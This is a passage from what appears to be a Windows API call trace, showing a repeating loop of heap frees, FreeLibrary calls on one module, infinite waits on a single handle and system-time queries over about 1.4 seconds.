[0238.191] free (_Block=0x20abc281f00) [0238.191] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.192] free (_Block=0x20abc284e70) [0238.193] free (_Block=0x20abc27cb20) [0238.194] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49be76a3, dwHighDateTime=0x1d9eb0c)) [0238.208] free (_Block=0x20abc281fa0) [0238.209] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.209] free (_Block=0x20abc284e70) [0238.211] free (_Block=0x20abc2abcc0) [0238.211] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49ca5f57, dwHighDateTime=0x1d9eb0c)) [0238.276] free (_Block=0x20abc282060) [0238.276] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.277] free (_Block=0x20abc284e70) [0238.278] free (_Block=0x20abc27cf80) [0238.278] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49ca5f57, dwHighDateTime=0x1d9eb0c)) [0238.288] free (_Block=0x20abc281dc0) [0238.288] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.289] free (_Block=0x20abc284e70) [0238.290] free (_Block=0x20abc27cb20) [0238.290] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49ccbf84, dwHighDateTime=0x1d9eb0c)) [0238.299] free (_Block=0x20abc2819c0) [0238.299] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.300] free (_Block=0x20abc284e70) [0238.300] free (_Block=0x20abc27cf80) [0238.301] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.328] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49d18597, dwHighDateTime=0x1d9eb0c)) [0238.329] free (_Block=0x20abc281e60) [0238.329] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.330] free (_Block=0x20abc284e70) [0238.331] free (_Block=0x20abc27cb20) [0238.331] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49db0e1f, dwHighDateTime=0x1d9eb0c)) [0238.384] free (_Block=0x20abc281d40) [0238.384] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.386] free (_Block=0x20abc284e70) [0238.386] free (_Block=0x20abc27cf80) [0238.387] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49db0e1f, dwHighDateTime=0x1d9eb0c)) [0238.393] free (_Block=0x20abc281c40) [0238.393] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.394] free (_Block=0x20abc284e70) [0238.395] free (_Block=0x20abc27cf80) [0238.395] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49dd71d5, dwHighDateTime=0x1d9eb0c)) [0238.403] free (_Block=0x20abc281ee0) [0238.403] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.406] free (_Block=0x20abc284e70) [0238.408] free (_Block=0x20abc27cf80) [0238.408] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49e01506, dwHighDateTime=0x1d9eb0c)) [0238.419] free (_Block=0x20abc281c40) [0238.419] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.420] free (_Block=0x20abc284e70) [0238.421] free (_Block=0x20abc27cf80) [0238.421] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.430] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49e23b1c, dwHighDateTime=0x1d9eb0c)) [0238.431] free (_Block=0x20abc281fe0) [0238.431] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.432] free (_Block=0x20abc284e70) [0238.432] free (_Block=0x20abc27cb20) [0238.433] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49e95d31, dwHighDateTime=0x1d9eb0c)) [0238.477] free (_Block=0x20abc2820c0) [0238.477] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.478] free (_Block=0x20abc284e70) [0238.479] free (_Block=0x20abc27cb20) [0238.479] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49e95d31, dwHighDateTime=0x1d9eb0c)) [0238.491] free (_Block=0x20abc2819a0) [0238.491] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.492] free (_Block=0x20abc284e70) [0238.492] free (_Block=0x20abc27cb20) [0238.493] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49ebc18a, dwHighDateTime=0x1d9eb0c)) [0238.502] free (_Block=0x20abc281f60) [0238.502] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.503] free (_Block=0x20abc284e70) [0238.504] free (_Block=0x20abc27cb20) [0238.504] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49ee25ff, dwHighDateTime=0x1d9eb0c)) [0238.511] free (_Block=0x20abc281d40) [0238.512] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.512] free (_Block=0x20abc284e70) [0238.513] free (_Block=0x20abc27cb20) [0238.513] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49ee25ff, dwHighDateTime=0x1d9eb0c)) [0238.519] free (_Block=0x20abc281e00) [0238.520] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.520] free (_Block=0x20abc284e70) [0238.521] free (_Block=0x20abc27cb20) [0238.521] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49f7abd7, dwHighDateTime=0x1d9eb0c)) [0238.571] free (_Block=0x20abc281b60) [0238.571] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.571] free (_Block=0x20abc284e70) [0238.572] free (_Block=0x20abc27cb20) [0238.572] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49f7abd7, dwHighDateTime=0x1d9eb0c)) [0238.583] free (_Block=0x20abc281ec0) [0238.583] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.583] free (_Block=0x20abc284e70) [0238.584] free (_Block=0x20abc27cb20) [0238.585] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49fa0e91, dwHighDateTime=0x1d9eb0c)) [0238.592] free (_Block=0x20abc281de0) [0238.592] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.593] free (_Block=0x20abc284e70) [0238.594] free (_Block=0x20abc27cb20) [0238.594] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a0646e0, dwHighDateTime=0x1d9eb0c)) [0238.673] free (_Block=0x20abc281fc0) [0238.674] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.674] free (_Block=0x20abc284e70) [0238.675] free (_Block=0x20abc27cb20) [0238.676] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a14f088, dwHighDateTime=0x1d9eb0c)) [0238.762] free (_Block=0x20abc281d20) [0238.763] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.764] free (_Block=0x20abc284e70) [0238.765] free (_Block=0x20abc27cf80) [0238.766] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a175582, dwHighDateTime=0x1d9eb0c)) [0238.779] free (_Block=0x20abc281fc0) [0238.779] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.780] free (_Block=0x20abc284e70) [0238.781] free (_Block=0x20abc27cb20) [0238.781] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a175582, dwHighDateTime=0x1d9eb0c)) [0238.792] free (_Block=0x20abc281d20) [0238.793] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.793] free (_Block=0x20abc284e70) [0238.794] free (_Block=0x20abc27cf80) [0238.794] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a19b654, dwHighDateTime=0x1d9eb0c)) [0238.800] free (_Block=0x20abc282060) [0238.800] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.801] free (_Block=0x20abc284e70) [0238.802] free (_Block=0x20abc27cb20) [0238.802] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a245bfd, dwHighDateTime=0x1d9eb0c)) [0238.864] free (_Block=0x20abc281e80) [0238.864] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.865] free (_Block=0x20abc284e70) [0238.866] free (_Block=0x20abc27cf80) [0238.866] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a25a0fd, dwHighDateTime=0x1d9eb0c)) [0238.873] free (_Block=0x20abc281f60) [0238.873] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.874] free (_Block=0x20abc284e70) [0238.875] free (_Block=0x20abc27cb20) [0238.875] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a25a0fd, dwHighDateTime=0x1d9eb0c)) [0238.881] free (_Block=0x20abc281ea0) [0238.881] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.882] free (_Block=0x20abc284e70) [0238.883] free (_Block=0x20abc27cf80) [0238.883] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a2802ca, dwHighDateTime=0x1d9eb0c)) [0238.891] free (_Block=0x20abc282060) [0238.891] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.892] free (_Block=0x20abc284e70) [0238.892] free (_Block=0x20abc27cb20) [0238.893] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a2802ca, dwHighDateTime=0x1d9eb0c)) [0238.903] free (_Block=0x20abc281fc0) [0238.903] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.904] free (_Block=0x20abc284e70) [0238.906] free (_Block=0x20abc27cb20) [0238.907] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a2a6525, dwHighDateTime=0x1d9eb0c)) [0238.912] free (_Block=0x20abc281fc0) [0238.913] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.913] free (_Block=0x20abc284e70) [0238.914] free (_Block=0x20abc27cb20) [0238.914] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a365065, dwHighDateTime=0x1d9eb0c)) [0238.985] free (_Block=0x20abc2819e0) [0238.985] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.986] free (_Block=0x20abc284e70) [0238.987] free (_Block=0x20abc27cb20) [0238.987] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a365065, dwHighDateTime=0x1d9eb0c)) [0238.994] free (_Block=0x20abc281f60) [0238.994] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.995] free (_Block=0x20abc284e70) [0238.997] free (_Block=0x20abc27cb20) [0238.997] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a38b3c8, dwHighDateTime=0x1d9eb0c)) [0239.004] free (_Block=0x20abc281ee0) [0239.004] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.005] free (_Block=0x20abc284e70) [0239.006] free (_Block=0x20abc27cb20) [0239.006] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a3b1900, dwHighDateTime=0x1d9eb0c)) [0239.016] free (_Block=0x20abc281b20) [0239.017] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.018] free (_Block=0x20abc284e70) [0239.019] free (_Block=0x20abc27cf80) [0239.019] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a470192, dwHighDateTime=0x1d9eb0c)) [0239.094] free (_Block=0x20abc281d60) [0239.095] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.095] free (_Block=0x20abc284e70) [0239.096] free (_Block=0x20abc27cf80) [0239.096] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a496295, dwHighDateTime=0x1d9eb0c)) [0239.116] free (_Block=0x20abc281c00) [0239.117] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.118] free (_Block=0x20abc284e70) [0239.119] free (_Block=0x20abc27cb20) [0239.119] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a4bc638, dwHighDateTime=0x1d9eb0c)) [0239.126] free (_Block=0x20abc281b20) [0239.126] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.126] free (_Block=0x20abc284e70) [0239.128] free (_Block=0x20abc27cb20) [0239.128] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a4bc638, dwHighDateTime=0x1d9eb0c)) [0239.135] free (_Block=0x20abc281c80) [0239.135] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.136] free (_Block=0x20abc284e70) [0239.139] free (_Block=0x20abc27cb20) [0239.139] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a4e841b, dwHighDateTime=0x1d9eb0c)) [0239.146] free (_Block=0x20abc281c20) [0239.146] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.147] free (_Block=0x20abc284e70) [0239.148] free (_Block=0x20abc27cb20) [0239.149] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a5a215e, dwHighDateTime=0x1d9eb0c)) [0239.217] free (_Block=0x20abc2819a0) [0239.217] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.218] free (_Block=0x20abc284e70) [0239.219] free (_Block=0x20abc27cf80) [0239.220] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a5a215e, dwHighDateTime=0x1d9eb0c)) [0239.230] free (_Block=0x20abc281d40) [0239.230] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.231] free (_Block=0x20abc284e70) [0239.232] free (_Block=0x20abc27cf80) [0239.232] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a5c7696, dwHighDateTime=0x1d9eb0c)) [0239.243] free (_Block=0x20abc281be0) [0239.243] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.244] free (_Block=0x20abc284e70) [0239.246] free (_Block=0x20abc27cf80) [0239.246] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a68622e, dwHighDateTime=0x1d9eb0c)) [0239.323] free (_Block=0x20abc281ec0) [0239.324] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.325] free (_Block=0x20abc284e70) [0239.326] free (_Block=0x20abc27cf80) [0239.326] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a6ac3bc, dwHighDateTime=0x1d9eb0c)) [0239.335] free (_Block=0x20abc281b20) [0239.336] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.336] free (_Block=0x20abc284e70) [0239.337] free (_Block=0x20abc27cf80) [0239.337] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a71ec3d, dwHighDateTime=0x1d9eb0c)) [0239.386] free (_Block=0x20abc281c60) [0239.387] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.387] free (_Block=0x20abc284e70) [0239.388] free (_Block=0x20abc27cf80) [0239.388] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a745466, dwHighDateTime=0x1d9eb0c)) [0239.401] free (_Block=0x20abc281a80) [0239.401] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.402] free (_Block=0x20abc284e70) [0239.403] free (_Block=0x20abc27cf80) [0239.403] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a829d4e, dwHighDateTime=0x1d9eb0c)) [0239.481] free (_Block=0x20abc281fc0) [0239.482] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.483] free (_Block=0x20abc284e70) [0239.483] free (_Block=0x20abc27cf80) [0239.484] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a829d4e, dwHighDateTime=0x1d9eb0c)) [0239.492] free (_Block=0x20abc281bc0) [0239.492] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.493] free (_Block=0x20abc284e70) [0239.494] free (_Block=0x20abc27cf80) [0239.494] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a84feda, dwHighDateTime=0x1d9eb0c)) [0239.502] free (_Block=0x20abc281e60) [0239.502] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.502] free (_Block=0x20abc284e70) [0239.503] free (_Block=0x20abc27cf80) [0239.503] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.509] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a84feda, dwHighDateTime=0x1d9eb0c)) [0239.510] free (_Block=0x20abc281bc0) [0239.510] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.510] free (_Block=0x20abc284e70) [0239.511] free (_Block=0x20abc27cf80) [0239.511] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a90ea2e, dwHighDateTime=0x1d9eb0c)) [0239.575] free (_Block=0x20abc281fe0) [0239.575] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.575] free (_Block=0x20abc284e70) [0239.576] free (_Block=0x20abc27cf80) [0239.576] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a90ea2e, dwHighDateTime=0x1d9eb0c)) [0239.582] free (_Block=0x20abc281a80) [0239.583] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.583] free (_Block=0x20abc284e70) [0239.584] free (_Block=0x20abc27cf80) [0239.584] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a934c85, dwHighDateTime=0x1d9eb0c)) [0239.592] free (_Block=0x20abc281c60) [0239.593] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.593] free (_Block=0x20abc284e70) [0239.594] free (_Block=0x20abc27cf80) [0239.594] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a934c85, dwHighDateTime=0x1d9eb0c)) [0239.600] free (_Block=0x20abc2820c0) [0239.601] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.601] free (_Block=0x20abc284e70) [0239.602] free (_Block=0x20abc27cf80) [0239.602] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4a95b0ca, dwHighDateTime=0x1d9eb0c)) [0239.610] free (_Block=0x20abc281b20) [0239.611] FreeLibrary 